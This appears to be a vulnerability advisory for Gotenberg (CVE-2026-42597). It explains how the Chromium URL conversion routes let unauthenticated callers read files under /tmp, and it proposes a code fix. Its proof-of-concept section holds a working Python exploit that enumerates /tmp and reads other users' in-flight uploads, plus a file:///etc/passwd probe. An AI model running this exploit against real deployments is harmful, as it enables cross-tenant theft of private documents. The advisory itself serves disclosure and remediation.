Skip to content

GHSA-g924-cjx7-2rjw CVE-2026-42597 GO-2026-5395

Gotenberg allows Chromium URL conversion routes to read arbitrary files under /tmp via file:// scheme

Medium Go
Severity
5.9 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.28%
Chance of exploitation in the next 30 days. Higher than 20.22% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-73 External Control of File Name or Path
CWE-918 Server-Side Request Forgery (SSRF)
Fix
8.32.0
Upgrade github.com/gotenberg/gotenberg/v8 to this version or later

Description

Summary

The /forms/chromium/convert/url and /forms/chromium/screenshot/url routes accept url=file:///tmp/... from anonymous callers. The default Chromium deny-list intentionally exempts file:///tmp/ so HTML/Markdown routes can load their own request-local assets, and those routes apply a per-request AllowedFilePrefixes guard to scope the read. The URL routes never set AllowedFilePrefixes, so the scope guard silently skips. Alice enumerates /tmp/, walks Gotenberg's per-request working directories, and reads the raw source files of other in-flight conversions as rendered PDF output.

Details

The default deny-list regex at pkg/modules/chromium/chromium.go:449 uses a negative lookahead to exempt /tmp/:

fs.StringSlice("chromium-deny-list",
    []string{`^file:(?!//\/tmp/).*`},
    "Set the denied URLs for Chromium using regular expressions - supports multiple values")

pkg/gotenberg/outbound.go:185-187 short-circuits IP validation for non-HTTP schemes:

if !httpLikeScheme(parsed.Scheme) {
    return outboundDecision{}, nil
}

So any file:///tmp/... URL passes FilterOutboundURL cleanly.

The HTML route pairs the exemption with a per-request scope guard (pkg/modules/chromium/routes.go:518):

options.AllowedFilePrefixes = []string{ctx.DirPath()}

and the CDP Fetch.requestPaused handler enforces the scope (pkg/modules/chromium/events.go:65-78):

if allow && strings.HasPrefix(e.Request.URL, "file://") && len(options.allowedFilePrefixes) > 0 {
    prefixMatch := false
    for _, prefix := range options.allowedFilePrefixes {
        if strings.HasPrefix(e.Request.URL, "file://"+prefix) {
            prefixMatch = true
            break
        }
    }
    if !prefixMatch {
        allow = false
    }
}

The len(options.allowedFilePrefixes) > 0 condition skips the entire enforcement block when the slice is empty. The URL route handler at pkg/modules/chromium/routes.go:406-448 (convertUrlRoute) never populates AllowedFilePrefixes. MandatoryString("url", &url) takes the form value without scheme validation and passes it to convertUrl → chromium.Pdf → Chromium navigation.

Gotenberg stores uploaded request assets at /tmp/<gotenberg-work-uuid>/<request-uuid>/<file-uuid>.<ext> (pkg/gotenberg/fs.go:64-65). Chromium renders the targeted file:// URL as a PDF and the response body returns to the caller.

Proof of Concept

Reproduction uses the stock Docker image with no auth:

docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8

Python script. Alice attacks, Bob runs a slow legitimate conversion whose request directory stays alive long enough for Alice to locate it. waitDelay=15s stands in for any naturally slow convert (large DOCX, multi-page HTML with external fetches, LibreOffice rendering a complex spreadsheet):

import requests, threading, time, subprocess, re
TARGET = "http://localhost:3000"
SECRET = f"BOB-CROSS-REQ-LEAK-{int(time.time())}"

bob_html = f"<html><body><h1>{SECRET}</h1></body></html>".encode()

def bob_runs():
    requests.post(
        f"{TARGET}/forms/chromium/convert/html",
        files={"files": ("index.html", bob_html, "text/html")},
        data={"waitDelay": "15s"},
        timeout=60,
    )

def alice_reads(url):
    r = requests.post(
        f"{TARGET}/forms/chromium/convert/url",
        files={"url": (None, url)}, timeout=30,
    )
    if r.status_code != 200: return None
    open("/tmp/_alice.pdf", "wb").write(r.content)
    return subprocess.run(
        ["pdftotext", "/tmp/_alice.pdf", "-"],
        capture_output=True, text=True,
    ).stdout

threading.Thread(target=bob_runs, daemon=True).start()
time.sleep(2)

# Step 1: list /tmp/ to discover the gotenberg work UUID
tmp = alice_reads("file:///tmp/")
work = re.search(r"([0-9a-f-]{36})", tmp).group(1)

# Step 2: walk into the work dir to find an in-flight request dir
wd = alice_reads(f"file:///tmp/{work}/")
for req in re.findall(r"([0-9a-f-]{36})", wd):
    if req == work: continue
    rd = alice_reads(f"file:///tmp/{work}/{req}/")
    if rd and (m := re.search(r"([0-9a-f-]{36}\.html)", rd)):
        # Step 3: read bob's uploaded HTML
        txt = alice_reads(f"file:///tmp/{work}/{req}/{m.group(1)}")
        print("SECRET recovered:", SECRET in txt)
        break

# Sanity: /etc/passwd stays blocked (deny-list holds outside /tmp)
r = requests.post(f"{TARGET}/forms/chromium/convert/url",
    files={"url": (None, "file:///etc/passwd")}, timeout=30)
print(f"/etc/passwd probe: HTTP {r.status_code}")  # 403 Forbidden

Output against gotenberg 8.31.0:

SECRET recovered: True
/etc/passwd probe: HTTP 403

file:///tmp/ directory enumeration works on every request, unconditionally. Cross-request content read depends on timing: Alice needs the victim's request dir alive when she walks to it. Long-running legitimate conversions (large inputs, external HTTP fetches, explicit waitDelay) widen the window from milliseconds to seconds.

Impact

An unauthenticated caller enumerates /tmp/ on the Gotenberg host and reads the raw source files of other users' conversion requests while those requests are in flight. Content types include uploaded HTML, Markdown, Office documents awaiting LibreOffice conversion, and output PDFs staged for webhook delivery. The rendered file returns to the attacker as a PDF. In a multi-tenant deployment where multiple users submit documents to the same Gotenberg instance, cross-tenant document exfiltration is possible whenever the attacker wins the timing race against a victim's request lifecycle. Directory enumeration itself (the work-UUID and per-request-UUID structure) is available regardless of timing.

The deny-list regex holds for paths outside /tmp/. file:///etc/passwd, file:///proc/self/environ, and similar targets return HTTP 403. The primitive is scoped to /tmp/, not arbitrary filesystem read.

Recommended Fix

Remove the len(options.allowedFilePrefixes) > 0 condition at pkg/modules/chromium/events.go:65 so URL routes block every file:// sub-resource by default:

if allow && strings.HasPrefix(e.Request.URL, "file://") {
    if len(options.allowedFilePrefixes) == 0 {
        allow = false
    } else {
        prefixMatch := false
        for _, prefix := range options.allowedFilePrefixes {
            if strings.HasPrefix(e.Request.URL, "file://"+prefix) {
                prefixMatch = true
                break
            }
        }
        if !prefixMatch {
            allow = false
        }
    }
}

Equivalent alternative: reject non-http/https schemes in the URL route handlers (convertUrlRoute, screenshotUrlRoute) before handing the URL to Chromium.


Found by aisafe.io

Affected versions

Go

PackageVulnerableFixed in
github.com/gotenberg/gotenberg/v7
<= 7.10.2
No fix yet
github.com/gotenberg/gotenberg/v7
all versions
No fix yet
github.com/gotenberg/gotenberg/v8
< 8.32.0
8.32.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/gotenberg/gotenberg/v8 Go → 8.32.0

go
go get github.com/gotenberg/gotenberg/v8@v8.32.0 && go mod tidy

Severity breakdown

CVSS 3.1 5.9

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Weakness

CWE-73: External Control of File Name or Path

The product allows user input to control or influence paths or file names that are used in filesystem operations.

How to prevent it
  • Architecture and Design: When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.
  • Architecture and Design, Operation: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
  • Implementation: Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).
  • Installation, Operation: Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.
  • Operation, Implementation: If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
  • Testing: Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

CWE-918: Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-2mrg-35hw-x3x9
Gotenberg: SSRF via LibreOffice document processing
High Also affects github.com/gotenberg/gotenberg/v7
GHSA-vp73-vjw8-8f32
Gotenberg has a Race Condition via Multipart `downloadFrom` Handling
High Also affects github.com/gotenberg/gotenberg/v7
GHSA-86m8-88fq-xfxp
Gotenberg has an SSRF deny-list bypass in IsPublicIP via IPv6 6to4 / NAT64 / site-local prefixes
High Also affects github.com/gotenberg/gotenberg/v7
GHSA-hwc4-gmrw-5222
Gotenberg has path traversal in zip entry name via Windows-style separators in upload filename
High Also affects github.com/gotenberg/gotenberg/v7
GHSA-chwh-f6gm-r836
Gotenberg: Server-Side Request Forgery via Chromium URL Endpoint with Redirect-Based Deny-List Bypass
High Also affects github.com/gotenberg/gotenberg/v7
GHSA-4vmc-gm8v-m35h
Gotenberg vulnerable to unauthenticated SSRF via default deny-list bypass in downloadFrom and webhook
Critical Also affects github.com/gotenberg/gotenberg/v7
GHSA-r33j-c622-r6qp
Gotenberg has an unauthenticated denial of service via echo.Context pool reuse in webhook async goroutine
High Also affects github.com/gotenberg/gotenberg/v7
GHSA-3cv5-q585-h563
Gotenberg has arbitrary PDF read via stampExpression and watermarkExpression in merge, split, and convert routes
Medium Also affects github.com/gotenberg/gotenberg/v7
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor